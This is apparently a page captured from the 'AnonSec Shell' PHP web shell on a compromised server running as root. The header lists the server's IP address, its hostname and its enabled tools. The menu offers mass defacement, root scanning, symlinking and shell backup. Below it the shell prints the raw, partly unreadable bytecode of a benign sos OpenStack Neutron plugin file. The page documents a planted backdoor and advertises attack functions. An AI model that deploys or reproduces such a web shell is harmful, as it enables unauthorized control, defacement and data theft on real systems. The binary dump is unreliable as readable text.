AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/sos/report/plugins/__pycache__/openstack_neutron.cpython-310.pyc
o

���bi�@sZddlmZmZmZmZddlZGdd�de�ZGdd�deee�ZGdd�dee�ZdS)	�)�Plugin�RedHatPlugin�DebianPlugin�UbuntuPluginNc@s4eZdZdZdZdZdZdd�Zdd�Zd	d
�Z	dS)�OpenStackNeutronzOpenStack Networking�openstack_neutron)�	openstack�openstack_controller�openstack_computez-/var/lib/config-data/puppet-generated/neutroncCs�|�d�r|�dg�n|�dg�|�d|jd|jd|jdg�|�d�|�d�|�d	�d
d�dD�}d
d�dD�}t|�rIt|�sQ|j�d�dS|�d�|�d�|�d�|�d�|�d�|�d�|�d�|�d�dS)N�all_logsz/var/log/neutron/z/var/log/neutron/*.logz
/etc/neutron/z/etc/default/neutron-serverz/etc/my.cnf.d/tripleo.cnfz/var/lib/neutron/z/var/lib/neutron/lockzls -laZR /var/lib/neutron/lockcS�g|]}|tjv�qS���os�environ��.0�pr
r
�F/usr/lib/python3/dist-packages/sos/report/plugins/openstack_neutron.py�
<listcomp>.�z*OpenStackNeutron.setup.<locals>.<listcomp>)�OS_USERNAME�OS_PASSWORDcSrr
rrr
r
rr1r)�OS_TENANT_NAME�OS_PROJECT_NAMEz}Not all environment variables set. Source the environment file for the user intended to connect to the OpenStack environment.zopenstack subnet listzopenstack port listzopenstack router listzopenstack network agent listzopenstack network listzopenstack extension listzopenstack floating ip listzopenstack security group list)	�
get_option�
add_copy_spec�var_puppet_gen�add_forbidden_path�add_cmd_output�all�any�soslog�warning)�self�vars_all�vars_anyr
r
r�setups8
���









zOpenStackNeutron.setupcCs&|�d||�|�|jd||�dS)Nz/etc/neutron/*)�do_path_regex_subr)r$�regexp�substr
r
r�apply_regex_subBs
�z OpenStackNeutron.apply_regex_subcCs>gd�}dg}|�dd�|�d�|�dd�|�d�dS)N)�rabbit_password�
qpid_password�nova_admin_password�xenapi_connection_password�password�server_auth�admin_password�metadata_proxy_shared_secret�
eapi_password�crd_password�primary_l3_host_password�
serverauth�
ucsm_password�ha_vrrp_auth_password�ssl_key_password�nsx_password�vcenter_password�edge_appliance_password�tenant_admin_password�
apic_password�
transport_url�memcache_secret_key�
connectionz((?m)^\s*(%s)\s*=\s*)(.*)�|z\1*********z-((?m)^\s*(%s)\s*=\s*(.*)://(\w*):)(.*)(@(.*))z
\1*********\6)r+�join)r$�protect_keys�connection_keysr
r
r�postprocIs
���zOpenStackNeutron.postprocN)
�__name__�
__module__�__qualname__�
short_desc�plugin_name�profilesrr'r+rGr
r
r
rrs*rcs(eZdZdZdd�Z�fdd�Z�ZS)�
DebianNeutron)�neutron-commonzneutron-plugin-ciscoz neutron-plugin-linuxbridge-agentzneutron-plugin-nicirazneutron-plugin-openvswitchz neutron-plugin-openvswitch-agentzneutron-plugin-ryuzneutron-plugin-ryu-agentzneutron-serverzpython-neutronzpython-neutronclientcCs
|�d�S)NrO)�is_installed�r$r
r
r�
check_enabledps
zDebianNeutron.check_enabledc�tt|���|�d�dS)Nz/etc/sudoers.d/neutron_sudoers)�superrNr'rrQ��	__class__r
rr's�zDebianNeutron.setup)rHrIrJ�packagesrRr'�
__classcell__r
r
rUrrNasrNcs eZdZdZ�fdd�Z�ZS)�
RedHatNeutron)zopenstack-selinuxcrS)Nz/etc/sudoers.d/neutron-rootwrap)rTrZr'rrQrUr
rr'|rWzRedHatNeutron.setup)rHrIrJrXr'rYr
r
rUrrZxsrZ)	�sos.report.pluginsrrrrrrrNrZr
r
r
r�<module>s
Q

Anon7 - 2022
AnonSec Team